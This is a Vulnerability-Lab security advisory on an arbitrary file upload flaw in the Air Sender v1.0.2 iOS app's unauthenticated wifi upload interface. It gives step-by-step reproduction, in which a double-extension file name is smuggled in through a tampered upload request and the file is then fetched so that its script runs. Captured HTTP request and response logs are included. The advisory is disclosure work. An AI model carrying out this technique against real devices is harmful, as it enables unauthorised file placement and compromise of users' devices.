Document Title: =============== Air Sender v1.0.2 iOS - Arbitrary File Upload Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2212 Release Date: ============= 2020-04-24 Common Vulnerability Scoring System: ==================================== 7.4 Vulnerability Class: ==================== Arbitrary File Upload Affected Product(s): ==================== Tran Tu Air Sender v1.0.2 iOS - Apple iOS Mobile Web Application Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ An arbitrary file upload web vulnerability has been discovered in the official Air Sender v1.0.2 iOS mobile application. The web vulnerability allows remote attackers to upload arbitrary files to compromise for example the file system of a service. The arbitrary upload vulnerability is located in the within the web-server configuration when using the upload module. Remote attackers are able to bypass the local web-server configuration by an upload of malicious webshells. Attackers are able to inject own files with malicious `filename` values in the `upload` POST method request to compromise the mobile web-application. The application does not perform checks for multiple file extensions. Thus allows an attacker to upload for example to upload a html.js.png file. After the upload the attacker requests the original url source with the uploaded file and removes the unwanted extension to execute the code in the unprotected web-frontend. The security risk of the vulnerability is estimated as high with a common vulnerability scoring system count of 7.0. Exploitation of the web vulnerability requires a low privilege ftp application user account and no user interaction. Successful exploitation of the arbitrary file upload web vulnerability results in application or device compromise. Request Method(s): [+] POST Vulnerable Module(s): [+] ./upload Vulnerable File(s): [+] list?path= [+] download?path= Proof of Concept (PoC): ======================= The arbitrary file upload vulnerability can be exploited by remote attackers without user interaction and with local network access. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Install and start the ios mobile application on your apple device 2. Open your local browser and start to tamper the http session 2. Open the wifi user interface without authentication by default 4. Click upload, choose any file 5. Change the files name to your script code test payload via session tamper 6. Continue to submit the manipulated content 7. Open the via the list or download url to the uploaded html / js file to execute it 8. Successful reproduce of the mobile ios vulnerability! PoC: Exploitation http://localhost/download?path=0010101001.html.js http://localhost/download?path=0010101001.html.js --- PoC Session Logs [POST] --- http://localhost/upload Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------418835692331824972282021572505 Content-Length: 2609 Origin: http://localhost Connection: keep-alive Referer: http://localhost/ Cookie: _ga=GA1.4.376521534.1586884411; _gid=GA1.4.1374601525.1586884411 path=/&files[]=0010101001.html.js.png - POST: HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 2 Content-Type: application/json Connection: Close Server: GCDWebUploader - http://localhost/list?path=[PATH]/[Evil.Source] Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Connection: keep-alive Referer: http://localhost/ Cookie: _ga=GA1.4.376521534.1586884411; _gid=GA1.4.1374601525.1586884411 - GET: HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 381 Content-Type: application/json Connection: Close Server: GCDWebUploader - http://localhost/download?path=0010101001.html.js Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Referer: http://localhost/ Cookie: _ga=GA1.4.376521534.1586884411; _gid=GA1.4.1374601525.1586884411 Upgrade-Insecure-Requests: 1 - GET: HTTP/1.1 200 OK Connection: Close Server: GCDWebUploader Date: Tue, 14 Apr 2020 19:35:28 GMT Content-Disposition: attachment; filename="0010101001.html.js"; filename*=UTF-8''0010101001.html.js Content-Length: 2270 Cache-Control: no-cache Etag: 4306047746/1586892764/961771080 Reference(s): http://localhost/list http://localhost/upload http://localhost/download Credits & Authors: ================== Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M. -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com